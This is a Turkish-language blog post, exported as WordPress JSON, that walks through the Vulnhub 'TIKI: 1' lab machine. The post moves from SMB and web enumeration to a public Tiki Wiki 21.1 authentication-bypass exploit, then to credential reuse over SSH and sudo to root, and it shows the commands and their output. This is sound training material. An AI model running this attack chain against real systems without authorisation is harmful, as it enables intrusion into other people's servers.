{"id":1309,"date":"2021-07-06T21:28:19","date_gmt":"2021-07-06T21:28:19","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1309"},"modified":"2021-07-06T21:28:19","modified_gmt":"2021-07-06T21:28:19","slug":"tiki-1","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/07\/06\/tiki-1\/","title":{"rendered":"TIKI: 1"},"content":{"rendered":"

Makine Hakk\u0131nda Bilgiler<\/h2>\n

A\u00e7\u0131klama:<\/strong>
\nThis machine was created for the OSCP Preparation.This box was created with virtualbox. For any queries please contact me on twitter: @avi0813. Enumeration is the Key.<\/p>\n

Vulnhub Sayfas\u0131:<\/strong>
\nhttps:\/\/www.vulnhub.com\/entry\/tiki-1,525\/<\/a><\/p>\n

\u0130ndirme Sayfas\u0131:<\/strong>
\nhttps:\/\/download.vulnhub.com\/tiki\/Tiki.ova<\/a><\/p>\n

Walkthrough<\/h2>\n

Makineyi tespit ederek ba\u015flayal\u0131m.<\/p>\n

\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# arp-scan -l | grep "Systemtechnik"\n192.168.101.27  08:00:27:77:89:53   PCS Systemtechnik GmbH\n\n\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# ifconfig eth0\neth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500\n        inet 192.168.101.24  netmask 255.255.255.0  broadcast 192.168.101.255\n        inet6 fe80::a00:27ff:fe8b:5efb  prefixlen 64  scopeid 0x20<link>\n        ether 08:00:27:8b:5e:fb  txqueuelen 1000  (Ethernet)\n        RX packets 62827675  bytes 13570637383 (12.6 GiB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 52388880  bytes 4354757296 (4.0 GiB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0<\/code><\/pre>\n
nmap taramas\u0131 ile devam edelim.<\/p>\n
[*] Scan: 163\nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-07-06 17:20 EDT\nNmap scan report for 192.168.101.27\nHost is up (0.00072s latency).\nNot shown: 65531 closed ports\nPORT    STATE SERVICE     VERSION\n22\/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   3072 a3:d8:4a:89:a9:25:6d:07:c5:3d:76:28:06:ed:d1:c0 (RSA)\n|   256 e7:b2:89:05:54:57:dc:02:f4:8c:3a:7c:55:8b:51:aa (ECDSA)\n|_  256 fd:77:07:2b:4a:16:3a:01:6b:e0:00:0c:0a:36:d8:2f (ED25519)\n80\/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))\n| http-robots.txt: 1 disallowed entry \n|_\/tiki\/\n|_http-server-header: Apache\/2.4.41 (Ubuntu)\n|_http-title: Apache2 Ubuntu Default Page: It works\n139\/tcp open  netbios-ssn Samba smbd 4.6.2\n445\/tcp open  netbios-ssn Samba smbd 4.6.2\nMAC Address: 08:00:27:77:89:53 (Oracle VirtualBox virtual NIC)\nDevice type: general purpose\nRunning: Linux 4.X|5.X\nOS CPE: cpe:\/o:linux:linux_kernel:4 cpe:\/o:linux:linux_kernel:5\nOS details: Linux 4.15 - 5.6\nNetwork Distance: 1 hop\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nHost script results:\n|_clock-skew: 2h59m58s\n|_nbstat: NetBIOS name: UBUNTU, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)\n| smb2-security-mode: \n|   2.02: \n|_    Message signing enabled but not required\n| smb2-time: \n|   date: 2021-07-07T00:20:53\n|_  start_date: N\/A\n\nTRACEROUTE\nHOP RTT     ADDRESS\n1   0.72 ms 192.168.101.27\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 14.86 seconds\n<\/code><\/pre>\n
Olay \u00e7ok belli gibi. smb ile enumeration yapmaya ba\u015flayal\u0131m. enum4linux<\/strong> ile kullan\u0131c\u0131 tespit ettim. \u00c7\u0131kt\u0131s\u0131 a\u015fa\u011f\u0131da yer almaktad\u0131r. Ayn\u0131 zamanda kullan\u0131c\u0131 ad\u0131 ve parola olmadan payla\u015f\u0131ma a\u00e7\u0131lm\u0131\u015f klas\u00f6r tespit ettik.<\/p>\n
S-1-5-21-4134020711-1526993497-85718105-549 *unknown*\\*unknown* (8)\nS-1-5-21-4134020711-1526993497-85718105-550 *unknown*\\*unknown* (8)\nS-1-5-21-4134020711-1526993497-85718105-1000 UBUNTU\\silky (Local User)\nS-1-5-21-4134020711-1526993497-85718105-1001 *unknown*\\*unknown* (8)\nS-1-5-21-4134020711-1526993497-85718105-1002 *unknown*\\*unknown* (8)<\/code><\/pre>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/tiki]\n\u2514\u2500# smbmap -H 192.168.101.27       \n[+] IP: 192.168.101.27:445  Name: 192.168.101.27                                    \n        Disk                                                    Permissions Comment\n    ----                                                    ----------- -------\n    print$                                              NO ACCESS   Printer Drivers\n    Notes                                               READ ONLY   My Notes\n    IPC$                                                NO ACCESS   IPC Service (ubuntu server (Samba, Ubuntu))\n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/tiki]\n\u2514\u2500# smbclient \/\/192.168.101.27\/Notes -u "" -p ""\nTry "help" to get a list of possible commands.\nsmb: \\> ls\n  .                                   D        0  Wed Jul 29 09:52:09 2020\n  ..                                  D        0  Thu Jul 30 15:32:11 2020\n  Mail.txt                            N      244  Wed Jul 29 09:52:05 2020\n\n        19992176 blocks of size 1024. 9927672 blocks available\nsmb: \\> cat Mail.txt\ncat: command not found\nsmb: \\> get Mail.txt\ngetting file \\Mail.txt of size 244 as Mail.txt (47.7 KiloBytes\/sec) (average 47.7 KiloBytes\/sec)\nsmb: \\> exit\n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/tiki]\n\u2514\u2500# ls\nenum4linux  Mail.txt\n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/tiki]\n\u2514\u2500# cat Mail.txt \nHi Silky\nbecause of a current Breach we had to change all Passwords,\nplease note that it was a 0day, we don't know how he made it.\n\nYour new CMS-password is now 51lky571k1, \nplease investigate how he made it into our Admin Panel.\n\nCheers Boss.<\/code><\/pre>\n
Buradan ald\u0131\u011f\u0131m\u0131z kullan\u0131c\u0131 ad\u0131 ve parola ile sisteme giri\u015f yapmay\u0131 denedim ve ba\u015far\u0131 oldum. Ayr\u0131ca gouster \u00e7\u0131kt\u0131lar\u0131 a\u015fa\u011f\u0131da yer almaktad\u0131r.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/tiki]\n\u2514\u2500# gobuster dir --url http:\/\/192.168.101.27  --follow-redirect --status-codes-blacklist "404" --no-error --threads 50 --wordlist \/usr\/share\/wordlists\/dirb\/big.txt -x php,html,sql,zip,bak,sql,txt,php5,py,rar,7z,log,cgi --expanded  --add-slash | tee gobuster1\n===============================================================\nGobuster v3.1.0\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.101.27\n[+] Method:                  GET\n[+] Threads:                 50\n[+] Wordlist:                \/usr\/share\/wordlists\/dirb\/big.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.1.0\n[+] Extensions:              txt,php5,7z,php,html,sql,zip,bak,py,rar,log,cgi\n[+] Add Slash:               true\n[+] Follow Redirect:         true\n[+] Expanded:                true\n[+] Timeout:                 10s\n===============================================================\n2021\/07\/06 16:15:16 Starting gobuster in directory enumeration mode\n===============================================================\nhttp:\/\/192.168.101.27\/.htaccess.php        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/.htaccess.cgi        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/.htaccess\/           (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/.htaccess.zip        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/.htaccess.py         (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/.htaccess.rar        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/.htaccess.bak        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/.htaccess.log        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/.htaccess.html       (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/.htaccess.7z         (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/.htaccess.txt        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/.htaccess.php5       (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/.htaccess.sql        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/.htpasswd.php5       (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/.htpasswd.log        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/.htpasswd.php        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/.htpasswd.sql        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/.htpasswd.cgi        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/.htpasswd.txt        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/.htpasswd.7z         (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/.htpasswd.bak        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/.htpasswd.py         (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/.htpasswd.rar        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/.htpasswd.html       (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/.htpasswd.zip        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/.htpasswd\/           (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/icons\/               (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/index.html           (Status: 200) [Size: 10918]\nhttp:\/\/192.168.101.27\/robots.txt           (Status: 200) [Size: 42]   \nhttp:\/\/192.168.101.27\/server-status\/       (Status: 403) [Size: 279]  \nhttp:\/\/192.168.101.27\/tiki\/                (Status: 200) [Size: 49414]\n\n===============================================================\n2021\/07\/06 16:15:39 Finished\n===============================================================\n<\/code><\/pre>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/tiki]\n\u2514\u2500# gobuster dir --url http:\/\/192.168.101.27\/tiki  --follow-redirect --status-codes-blacklist "404" --no-error --threads 50 --wordlist \/usr\/share\/wordlists\/dirb\/big.txt -x php,html,sql,zip,bak,sql,txt,php5,py,rar,7z,log,cgi --expanded  --add-slash | tee gobuster11\n===============================================================\nGobuster v3.1.0\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.101.27\/tiki\n[+] Method:                  GET\n[+] Threads:                 50\n[+] Wordlist:                \/usr\/share\/wordlists\/dirb\/big.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.1.0\n[+] Extensions:              7z,log,cgi,php,html,sql,rar,py,zip,bak,txt,php5\n[+] Add Slash:               true\n[+] Follow Redirect:         true\n[+] Expanded:                true\n[+] Timeout:                 10s\n===============================================================\n2021\/07\/06 16:26:43 Starting gobuster in directory enumeration mode\n===============================================================\nhttp:\/\/192.168.101.27\/tiki\/.htaccess.txt        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/.htaccess.php5       (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/.htaccess.py         (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/.htaccess.zip        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/.htaccess.sql        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/.htaccess.html       (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/.htaccess\/           (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/.htaccess.bak        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/.htaccess.rar        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/.htaccess.7z         (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/.htaccess.log        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/.htaccess.cgi        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/.htaccess.php        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/.htpasswd.rar        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/.htpasswd.cgi        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/.htpasswd.html       (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/.htpasswd.txt        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/.htpasswd.py         (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/.htpasswd\/           (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/.htpasswd.sql        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/.htpasswd.7z         (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/.htpasswd.log        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/.htpasswd.php        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/.htpasswd.php5       (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/.htpasswd.zip        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/.htpasswd.bak        (Status: 403) [Size: 279]\nhttp:\/\/192.168.101.27\/tiki\/_custom\/             (Status: 200) [Size: 958]\nhttp:\/\/192.168.101.27\/tiki\/about.php            (Status: 200) [Size: 49414]\nhttp:\/\/192.168.101.27\/tiki\/admin\/               (Status: 200) [Size: 49414]\nhttp:\/\/192.168.101.27\/tiki\/changelog.txt        (Status: 200) [Size: 1758] \nhttp:\/\/192.168.101.27\/tiki\/comments.php         (Status: 200) [Size: 33]   \nhttp:\/\/192.168.101.27\/tiki\/console.php          (Status: 200) [Size: 51]   \nhttp:\/\/192.168.101.27\/tiki\/contribution.php     (Status: 200) [Size: 33]   \nhttp:\/\/192.168.101.27\/tiki\/copyright.txt        (Status: 200) [Size: 56060]\nhttp:\/\/192.168.101.27\/tiki\/cron.php             (Status: 200) [Size: 0]    \nhttp:\/\/192.168.101.27\/tiki\/db\/                  (Status: 200) [Size: 49414]\nhttp:\/\/192.168.101.27\/tiki\/doc\/                 (Status: 200) [Size: 49414]\nhttp:\/\/192.168.101.27\/tiki\/dump\/                (Status: 200) [Size: 49414]\nhttp:\/\/192.168.101.27\/tiki\/img\/                 (Status: 200) [Size: 49414]\nhttp:\/\/192.168.101.27\/tiki\/index.php            (Status: 200) [Size: 49414]\nhttp:\/\/192.168.101.27\/tiki\/installer\/           (Status: 200) [Size: 49414]\nhttp:\/\/192.168.101.27\/tiki\/lang\/                (Status: 200) [Size: 49414]\nhttp:\/\/192.168.101.27\/tiki\/license.txt          (Status: 200) [Size: 24381]\nhttp:\/\/192.168.101.27\/tiki\/lib\/                 (Status: 200) [Size: 49414]\nhttp:\/\/192.168.101.27\/tiki\/lists\/               (Status: 200) [Size: 961]  \nhttp:\/\/192.168.101.27\/tiki\/modules\/             (Status: 200) [Size: 49414]\nhttp:\/\/192.168.101.27\/tiki\/references.php       (Status: 200) [Size: 46739]\nhttp:\/\/192.168.101.27\/tiki\/remote.php           (Status: 200) [Size: 284]  \nhttp:\/\/192.168.101.27\/tiki\/robots.txt           (Status: 200) [Size: 2937] \nhttp:\/\/192.168.101.27\/tiki\/storage\/             (Status: 200) [Size: 49414]\nhttp:\/\/192.168.101.27\/tiki\/templates\/           (Status: 200) [Size: 49414]\nhttp:\/\/192.168.101.27\/tiki\/temp\/                (Status: 200) [Size: 49414]\nhttp:\/\/192.168.101.27\/tiki\/themes\/              (Status: 200) [Size: 49414]\nhttp:\/\/192.168.101.27\/tiki\/tiki-admin.php       (Status: 403) [Size: 46811]\nhttp:\/\/192.168.101.27\/tiki\/vendor\/              (Status: 200) [Size: 758]  \nhttp:\/\/192.168.101.27\/tiki\/xmlrpc.php           (Status: 200) [Size: 0]    \n\n===============================================================\n2021\/07\/06 16:28:07 Finished\n===============================================================\n<\/code><\/pre>\n
Sayfada gezinmem sonucu http:\/\/192.168.101.27\/tiki\/tiki-index.php?page=Silkys-Homepage<\/a><\/strong> sayfas\u0131n\u0131 buldum. \u0130\u00e7inde bir not vard\u0131.<\/p>\n
Silkys Homepage\nHi my Name is Silky,\n\nThis is my third CTF. Dont give up, there is always a way to root!\n\nI like Cats, Frogs, Snakes and cute Doggos but thats not helpful isnt it?\nHmmm maybe you like something different, ... You like Hacking right?\nI got a new CVE Number: But I constantly forget its ID :\/<\/code><\/pre>\n
Bunun \u00fczerine ilk ba\u015fta tikiwiki<\/strong> uygulams\u0131n\u0131n s\u00fcr\u00fcm\u00fcn\u00fc tespit etmeyi denedim. http:\/\/192.168.101.27\/tiki\/changelog.txt<\/a><\/strong> sayfas\u0131ndan s\u00fcr\u00fcm\u00fcn\u00fc tespit ettim.<\/p>\n
Art\u0131k exploit ara\u015ft\u0131rabiliriz.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/tiki]\n\u2514\u2500# searchsploit tiki 21\n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------\n Exploit Title                                                                                                                                                                                              |  Path\n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------\nTiki Wiki CMS Groupware 21.1 - Authentication Bypass                                                                                                                                                        | php\/webapps\/48927.py\n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------\nShellcodes: No Results\nPapers: No Results\n\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/tiki]\n\u2514\u2500# cp $(locate php\/webapps\/48927.py) .\n<\/code><\/pre>\n
Harika \u015fimdi bu exploiti kullanmay\u0131 deneyelim.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/tiki]\n\u2514\u2500# python3 48927.py 192.168.101.27\nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \nAdmin Password got removed.\nUse BurpSuite to login into admin without a password \n<\/code><\/pre>\n
Okay. Burp ile araya girdim ve admin olarak sisteme giri\u015f yapt\u0131m. Uygulamada gezindikten sonra http:\/\/192.168.101.27\/tiki\/tiki-index.php?page=Credentials<\/a><\/strong> adresini buldum. \u0130\u00e7inde a\u015fa\u011f\u0131daki notlar vard\u0131.<\/p>\n
Credentials\nsilky:Agy8Y7SPJNXQzqA<\/code><\/pre>\n
ssh ile ba\u011flant\u0131 kurmay\u0131 denedim ve ba\u015far\u0131l oldum.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/tiki]\n\u2514\u2500# ssh silky@192.168.101.27                                                                                                                                                                                                            127 \u2a2f\nThe authenticity of host '192.168.101.27 (192.168.101.27)' can't be established.\nECDSA key fingerprint is SHA256:ApBZdsEv9OD5yRa5A+VVFRKVtbxaYr9uOaoHXDfOOtQ.\nAre you sure you want to continue connecting (yes\/no\/[fingerprint])? yes\nWarning: Permanently added '192.168.101.27' (ECDSA) to the list of known hosts.\nsilky@192.168.101.27's password: \nWelcome to Ubuntu 20.04.1 LTS (GNU\/Linux 5.4.0-42-generic x86_64)\n\n * Documentation:  https:\/\/help.ubuntu.com\n * Management:     https:\/\/landscape.canonical.com\n * Support:        https:\/\/ubuntu.com\/advantage\n\n1 Aktualisierung kann sofort installiert werden.\n0 dieser Aktualisierung sind Sicherheitsaktualisierungen.\nUm zu sehen, wie diese zus\u00e4tzlichen Updates ausgef\u00fchrt werden: apt list --upgradable\n\nThe list of available updates is more than a week old.\nTo check for new updates run: sudo apt update\nYour Hardware Enablement Stack (HWE) is supported until April 2025.\nLast login: Fri Jul 31 09:50:24 2020 from 192.168.56.1\nsilky@ubuntu:~$ whoami\nsilky\n<\/code><\/pre>\n
\u0130lk denememde root olmak biraz hayal k\u0131r\u0131kl\u0131\u011f\u0131 yaratt\u0131 ama olan oldu.<\/p>\n
silky@ubuntu:~$ sudo -l\n[sudo] Passwort f\u00fcr silky: \nPassende Defaults-Eintr\u00e4ge f\u00fcr silky auf ubuntu:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\\:\/snap\/bin\n\nDer Benutzer silky darf die folgenden Befehle auf ubuntu ausf\u00fchren:\n    (ALL : ALL) ALL\nsilky@ubuntu:~$ sudo su\nroot@ubuntu:\/home\/silky# id\nuid=0(root) gid=0(root) Gruppen=0(root)\nroot@ubuntu:\/home\/silky# cd \/root\nroot@ubuntu:~# ls\nflag.txt  snap\nroot@ubuntu:~# cat flag.txt \n\n \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2557   \u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557   \u2588\u2588\u2557\u2588\u2588\u2557      \u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2557   \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557\n\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2554\u2550\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u255a\u2550\u2550\u2588\u2588\u2554\u2550\u2550\u255d\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2551     \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u255a\u2550\u2550\u2588\u2588\u2554\u2550\u2550\u255d\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2551\n\u2588\u2588\u2551     \u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2554\u2588\u2588\u2557 \u2588\u2588\u2551\u2588\u2588\u2551  \u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551   \u2588\u2588\u2551   \u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2551     \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551   \u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2554\u2588\u2588\u2557 \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2551\n\u2588\u2588\u2551     \u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2551\u255a\u2588\u2588\u2557\u2588\u2588\u2551\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551   \u2588\u2588\u2551   \u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2551     \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551   \u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2551\u255a\u2588\u2588\u2557\u2588\u2588\u2551\u255a\u2550\u2550\u2550\u2550\u2588\u2588\u2551\u255a\u2550\u255d\n\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2551 \u255a\u2588\u2588\u2588\u2588\u2551\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2551  \u2588\u2588\u2551\u2588\u2588\u2551  \u2588\u2588\u2551   \u2588\u2588\u2551   \u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2551  \u2588\u2588\u2551   \u2588\u2588\u2551   \u2588\u2588\u2551\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2551 \u255a\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2557\n \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u255d  \u255a\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u255d  \u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d   \u255a\u2550\u255d    \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d   \u255a\u2550\u255d   \u255a\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u255d  \u255a\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d\n\nYou did it ^^\nI hope you had fun.\nShare your flag with me on Twitter: S1lky_1337\n\nflag:88d8120f434c3b4221937a8cd0668588\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
